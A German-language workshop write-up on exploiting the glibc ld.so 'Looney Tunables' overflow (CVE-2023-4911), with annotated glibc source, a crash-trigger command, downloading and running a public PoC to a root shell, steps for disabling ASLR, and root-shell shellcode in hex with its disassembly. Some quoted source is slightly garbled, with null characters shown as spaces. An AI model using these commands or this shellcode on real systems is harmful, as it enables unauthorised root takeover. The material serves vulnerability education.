Workshop „Looney Tunables Local Privilege Escalation“ (CVE-2023-4911) (nur für Bildungszwecke)
In der Informatik ist ein dynamischer Linker der Teil eines Betriebssystems, der die gemeinsam genutzten Bibliotheken lädt und verknüpft, die eine ausführbare Datei bei ihrer Ausführung benötigt, indem er den Inhalt der Bibliotheken vom persistenten Speicher in den RAM kopiert, Sprungtabellen füllt und Zeiger verschiebt.
Zum Beispiel haben wir ein Programm, das die OpenSSL-Bibliothek verwendet, um den MD5-Hash zu berechnen:
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
ld.so analysiert die Binärdatei und versucht, eine Bibliothek zu finden, die sich auf <openssl/md5.h> bezieht
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
Wie wir sehen können, findet es die erforderliche Krypto-Bibliothek unter /lib/x86_64-linux-gnu/libcrypto.so.3. Während des Programmstarts legt es den Code dieser Bibliothek in den Prozess-RAM und verknüpft alle Verweise auf diese Bibliothek.
Wenn ein Programm gestartet wird, untersucht dieser Loader zunächst das Programm, um die benötigten gemeinsam genutzten Bibliotheken zu ermitteln. Anschließend sucht es nach diesen Bibliotheken, lädt sie in den Speicher und verknüpft sie zur Laufzeit mit der ausführbaren Datei. Dabei löst der dynamische Loader Symbolreferenzen wie Funktions- und Variablenreferenzen auf und stellt so sicher, dass alles für die Programmausführung bereit ist. Aufgrund seiner Rolle ist der dynamische Lader äußerst sicherheitsempfindlich, da sein Code mit erhöhten Rechten ausgeführt wird, wenn ein lokaler Benutzer ein Set-User-ID- oder Set-Group-ID-Programm startet.
Tunables sind eine Funktion in der GNU C-Bibliothek, die es Anwendungsautoren und Distributionsbetreuern ermöglicht, das Verhalten der Laufzeitbibliothek an ihre Arbeitslast anzupassen. Diese werden als eine Reihe von Schaltern implementiert, die auf unterschiedliche Weise geändert werden können. Die aktuelle Standardmethode hierfür ist die Verwendung der Umgebungsvariablen GLIBC_TUNABLES, indem sie auf eine Zeichenfolge aus durch Doppelpunkte getrennten Name=Wert-Paaren festgelegt wird. Das folgende Beispiel aktiviert beispielsweise die Malloc-Überprüfung und legt den Malloc-Trimmschwellenwert auf 128 Byte fest:
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
Übergeben von --list-tunables an den dynamischen Loader, um alle optimierbaren Werte mit Minimal- und Maximalwerten auszugeben:
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
Ganz am Anfang seiner Ausführung ruft ld.so __tunables_init() auf, um durch die Umgebung zu laufen (in Zeile 279) und nach GLIBC_TUNABLES-Variablen zu suchen (in Zeile 282); Für jedes gefundene GLIBC_TUNABLES erstellt es eine Kopie dieser Variablen (in Zeile 284), ruft parse_tunables() auf, um diese Kopie zu verarbeiten und zu bereinigen (in Zeile 286) und ersetzt schließlich das ursprüngliche GLIBC_TUNABLES durch diese bereinigte Kopie (in Zeile 288). ):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 }
Das erste Argument von parse_tunables() (tunestr) zeigt auf die bald zu bereinigende Kopie von GLIBC_TUNABLES, während das zweite Argument (valstring) auf die ursprüngliche GLIBC_TUNABLES-Umgebungsvariable (im Stapel) zeigt. Um die Kopie von GLIBC_TUNABLES (die die Form „tunable1= aaa:tunable2=bbb"
haben sollte) zu bereinigen, entfernt parse_tunables() alle gefährlichen Tunables (die SXID_ERASE Tunables) aus tunestr, behält aber die Tunables SXID_IGNORE und NONE bei (in den Zeilen 221- 235):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }
Wenn eine GLIBC_TUNABLES-Umgebungsvariable leider die Form „tunable1=tunable2=AAA“ hat (wobei „tunable1“ und „tunable2“ SXID_IGNORE-Tuables sind, zum Beispiel „glibc.malloc.mxfast“), dann:
Während der ersten Iteration von „while (true)“ in parse_tunables() wird das gesamte „tunable1=tunable2=AAA“ direkt nach tunestr kopiert (in den Zeilen 221–235), wodurch tunestr aufgefüllt wird.
In den Zeilen 247–248 wird p nicht erhöht (p[len] ist „ “, da in den Zeilen 203–204 kein „:“ gefunden wurde) und daher zeigt p immer noch auf den Wert von „tunable1“, also „tunable2=“. AAA“;
Während der zweiten Iteration von „while (true)“ in parse_tunables() wird „tunable2=AAA“ an tunestr (das bereits voll ist) angehängt (als wäre es ein zweites einstellbares Element), wodurch tunestr überläuft.
Befehl:
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)
Nutzlast:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
Länge -> 8236 Bytes
Bei dieser Schwachstelle handelt es sich um einen einfachen Pufferüberlauf, aber was sollten wir überschreiben, um die Ausführung willkürlichen Codes zu erreichen? Der von uns überlaufende Puffer wird in Zeile 284 von tunables_strdup() zugewiesen, einer Neuimplementierung von strdup(), die __minimal_malloc() von ld.so anstelle von malloc() der Glibc verwendet (tatsächlich wurde malloc() der Glibc noch nicht initialisiert). ). Diese __minimal_malloc()-Implementierung ruft einfach mmap() auf, um mehr Speicher vom Kernel zu erhalten.
Schauen wir uns diesen Code an:
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */
ld.so reserviert den Speicher für diese link_map-Struktur mit calloc() und initialisiert daher nicht explizit verschiedene seiner Mitglieder auf Null; Dies ist eine sinnvolle Optimierung. Wie bereits erwähnt, handelt es sich bei calloc() hier nicht um calloc() der Glibc, sondern um __minimal_calloc() von ld.so, das __minimal_malloc() aufruft, ohne den Speicher explizit zu initialisieren, und es auf Null zurücksetzt. Dies ist auch eine sinnvolle Optimierung, da __minimal_malloc() in jeder Hinsicht immer einen sauberen Teil des mmap()-Speichers zurückgibt, der vom Kernel garantiert auf Null initialisiert wird.
Leider ermöglicht uns der Pufferüberlauf in parse_tunables(), sauberen mmap()-Speicher mit Bytes ungleich Null zu überschreiben, wodurch Zeiger der bald zuzuweisenden link_map-Struktur mit Werten ungleich NULL überschrieben werden. Dadurch können wir die Logik von ld.so, die davon ausgeht, dass diese Zeiger NULL sind, vollständig durchbrechen.
Wir haben festgestellt, dass viele weitere Zeiger in der Struktur link_map nicht explizit auf NULL initialisiert werden; insbesondere die Zeiger auf Elf64_Dyn-Strukturen im l_info[]-Zeigerarray. Unter diesen stach sofort
l_info[DT_RPATH]
, der „Bibliothekssuchpfad“, hervor: Wenn wir diesen Zeiger überschreiben und steuern, wohin und worauf er zeigt, können wir ld.so zwingen, einem Verzeichnis zu vertrauen, das uns gehört, und daher um unsere eigene libc.so.6- oder LD_PRELOAD-Bibliothek aus diesem Verzeichnis zu laden und beliebigen Code auszuführen (als Root, wenn wir ld.so über ein SUID-Root-Programm ausführen).
Wohin soll das überschriebene
l_info[DT_RPATH]
zeigen? Die einfache Antwort auf diese Frage lautet: der Stapel; Genauer gesagt, unsere Umgebungszeichenfolgen im Stapel. Unter Linux ist der Stapel in einem 16-GB-Bereich zufällig angeordnet, und unsere Umgebungszeichenfolgen können bis zu 6 MB belegen (_STK_LIM / 4 * 3, im bprm_stack_limits() des Kernels): Nach 16 GB / 6 MB = 2730 Versuchen haben wir gute Chancen zu erraten die Adresse unserer Umgebungszeichenfolgen (in unserem Exploit überschreiben wirl_info[DT_RPATH]
immer mit 0x7ffdfffff010, das Zentrum des randomisierten Stapelbereichs). In unseren Tests dauert diese rohe Gewalt etwa 30 Sekunden unter Debian und etwa 5 Minuten unter Ubuntu und Fedora (aufgrund der automatischen Crash-Handler Apport und ABRT; wir haben nicht versucht, diese Verlangsamung zu umgehen).
Worauf soll der überschriebene l_info[DT_RPATH] verweisen? In unserem Exploit füllen wir einfach unsere 6 MB an Umgebungszeichenfolgen mit 0xfffffffffffffff8 (-8), da bei einem Offset von -8B unterhalb der Zeichenkettentabelle der meisten SUID-Root-Programme die Zeichenkette „x08“ erscheint: Dies erzwingt ld.so einem relativen Verzeichnis namens „x08“ (in unserem aktuellen Arbeitsverzeichnis) zu vertrauen und uns daher das Laden und Ausführen unserer eigenen libc.so.6- oder LD_PRELOAD-Bibliothek aus diesem Verzeichnis zu ermöglichen, als Wurzel.
Schema:
Ich verwende meinen alten Kali-Linux-Snapshot, um PoC zu testen. Überprüfen wir, ob es anfällig ist:
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/s
Wir haben SIGSEGV, also ist unser System anfällig für dieses CVE-LPE!
Laden wir das PoC-Skript herunter und testen es:
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
Unsere ld.so-Build-ID ist also nicht in der Liste der Ziele, beheben wir das Problem! ASLR deaktivieren:
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "
Überprüfen Sie noch einmal:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
Damit unser POC-Skript einen nützlichen Offset findet, fügen wir unsere ld.so-Build-ID und den Offset zum Skript hinzu: ASLR zurückgeben:
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "
Versuchen wir es noch einmal mit dem PoC-Skript:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
Es funktioniert!
Es funktioniert auch mit anderen SUID-Dateien:
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP >
[~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
Am Anfang des PoC-Skripts haben wir das Wörterbuch ARCH mit einigen Prozessorarchitekturen (ich habe nur x86_64 übrig gelassen, da ich es verwende). In diesem Wörterbuch haben wir
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}
Shellcode zerlegen
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscall
Exitcode zerlegen
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscall
Als nächstes haben wir ein Wörterbuch mit Zielen (ld.so Build-ID) und ihren Pufferüberlauf-Offsets
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}
Dann gibt es viele Funktionen, die nach ihrer Funktion benannt sind und meist durch Methoden aus der pwntools-Bibliothek ersetzt werden können. Daher sehe ich keinen Sinn darin, sie im Detail zu besprechen, mit Ausnahme einiger davon